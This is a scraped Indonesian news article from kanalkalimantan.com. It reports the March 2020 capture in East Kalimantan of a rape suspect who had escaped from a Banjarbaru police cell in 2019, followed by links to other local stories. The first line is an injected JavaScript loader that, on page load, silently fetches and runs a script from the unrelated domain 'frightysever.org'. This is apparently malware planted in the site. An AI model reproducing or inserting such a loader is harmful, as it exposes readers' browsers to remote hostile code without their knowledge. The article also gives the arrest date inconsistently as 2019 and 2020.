(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Masih ingatkah dengan peristiwa kaburnya dua tahanan Polsek Banjarbaru Timur, pada Agustus 2019 lalu? Setelah 7 bulan lamanya melarikan diri,  salah satu tahanan yang bernama M Ahyadi, akhirnya berhasil ditangkap.
Melalui giat petugas gabungan dari Unit Resmob Polres Banjarbaru dan Polsek Banjarbaru Timur bersama Unit Resmob Polres Grogot dan Resmob Polres Paser Polda Kalimantan Timur, menangkap M Ahyadi pada Selasa (17/3/2019) kemarin.
Berawal dari adanya informasi keberadaan salah satu pelaku yang sudah masuk dalam Daftar Pencarian Orang (DPO) yakni M Ahyadi alias Yadi warga Sungai Tiung, Kecamatan Cempaka, Banjarbaru, karena kasus pemerkosaan.
Baca Juga : Dua Tahanan Polsek Banjarbaru Timur Kabur Lewat Plafon
Mendapati informasi tersebut, unit Resmob Polres Banjarbaru yang dipimpin Iptu Alhamidie dan Unit Reskrim Polsek Banjarbaru Timur langsung bergerak. Petugas melakukan pengerjaran ke daerah Kabupaten Grogot, Provinsi Kalimantan Timur, Senin (16/3/ 2020).
Sesampainya di Kabupaten Grogot, petugas langsung berkoordinasi dengan Unit Resmob Polres Grogot. Namun, tersangka kembali berhasil melarikan diri hingga akhirnya aksi kejar-kejaran petugas pun terjadi.
Tidak ingin target lepas begitu saja, petugas kemudian melakukan koordinasi dengan Unit Resmob Polres Paser hingga akhirnya tersangka tersebut berhasil ditangkap di Kelurahan Kerang Dayu Kecamatan Batu Engau, Kabupaten Paser, Provinsi Kalimantan Timur pada Selasa, 17 Maret 2020, pukul 13.00 Wita.
“Pelaku ini memang sangat licin bahkan saat ditangkap pun pelaku masih berusaha melarikan diri dan melakukan perlawanan kepada petugas hingga akhirnya kami lakukan tindakan tegas terukur kepada pelaku tersebut,†ucap Kasat Reskrim Polres Banjarbaru, AKP Aryansyah
Kapolres Banjarbaru AKBP Doni Hadi Santoso, melalui Kasubbaghumas Polres Banjarbaru AKP Siti Rohayati, menjelaskan bahwa pelaku sudah berhasil diamankan dan baru saja tiba di Mapolres Banjarbaru untuk menjalani proses hukum lebih lanjut. M Ahyadi akan dijerat dengan pasal 285 KUHP tentang tindak pidana perkosaan dengan ancaman hukuman maksimal 12 tahun penjara.
“Kami juga menghimbau kepada satu pelaku lainnya yang kabur dari Rutan Polsek Banjarbaru Timur pada Agust 2019 lalu, atas nama Wahyuddin alias Wahyu warga Jalan Mistarcokrokusumo Kelurahan Sungai Tiung, Cempaka, agar segera menyerahkan diri. Apabila pihak keluarga maupun masyarakat yang mengetahui bisa segera melaporkannya kepada kami, tegas AKP Siti Rohayati. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More
This website uses cookies.